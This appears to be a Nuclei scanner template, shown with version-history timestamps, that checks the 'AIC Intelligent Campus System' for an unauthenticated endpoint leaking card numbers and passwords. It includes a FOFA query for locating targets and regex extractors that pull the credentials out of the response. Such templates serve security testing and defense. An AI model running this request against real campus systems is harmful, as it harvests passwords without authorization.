2023-09-18 12:37:42 +00:00
|
|
|
id: aic-intelligent-password-exposure
|
2023-08-18 03:22:06 +00:00
|
|
|
|
|
|
|
|
info:
|
2023-09-18 12:37:42 +00:00
|
|
|
name: AIC Intelligent Campus System - Password Exposure
|
2023-08-18 03:22:06 +00:00
|
|
|
author: SleepingBag945
|
|
|
|
|
severity: medium
|
|
|
|
|
description: |
|
|
|
|
|
Due to the design logic defects, the super password is leaked, which can kill more than 40 campus systems.<br>
|
|
|
|
|
metadata:
|
2023-09-08 11:25:00 +00:00
|
|
|
max-request: 1
|
2023-08-18 03:22:06 +00:00
|
|
|
fofa-query: title="AIC智能校园系统"
|
2023-09-08 11:25:00 +00:00
|
|
|
tags: aic,exposure,password
|
2023-08-18 03:22:06 +00:00
|
|
|
|
|
|
|
|
http:
|
2023-09-08 11:25:00 +00:00
|
|
|
- method: GET
|
|
|
|
|
path:
|
|
|
|
|
- "{{BaseURL}}/datacenter/dataOrigin.ashx?c=login"
|
2023-08-18 03:22:06 +00:00
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
|
- type: dsl
|
|
|
|
|
dsl:
|
2023-09-08 11:25:00 +00:00
|
|
|
- 'status_code == 200 && contains(body_1,"卡号\":\"") && contains(body_1,"密码\":\"")'
|
2023-08-18 03:22:06 +00:00
|
|
|
condition: and
|
|
|
|
|
|
|
|
|
|
extractors:
|
2023-09-08 11:25:00 +00:00
|
|
|
- type: regex
|
2023-08-18 03:22:06 +00:00
|
|
|
name: username
|
2023-09-08 11:25:00 +00:00
|
|
|
part: body
|
2023-08-18 03:22:06 +00:00
|
|
|
group: 1
|
|
|
|
|
regex:
|
2023-09-08 11:25:00 +00:00
|
|
|
- "\"卡号\":\"(.*?)\""
|
|
|
|
|
|
|
|
|
|
- type: regex
|
2023-08-18 03:22:06 +00:00
|
|
|
name: passwd
|
2023-09-08 11:25:00 +00:00
|
|
|
part: body
|
2023-08-18 03:22:06 +00:00
|
|
|
group: 1
|
|
|
|
|
regex:
|
2023-09-12 09:42:52 +00:00
|
|
|
- "\"密码\":\"(.*?)\""
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
|
# digest: 4a0a0047304502206f87e11bcce65796acff5f8867eb09f156d71b2ee9ccd4b14f5088b15708cf9d022100ce3a3da63ce4ddc7dbee1b7da7c10951dccf94f6c0bed55519978c458cfb7b3b:922c64590222798bb761d5b6d8e72950
|
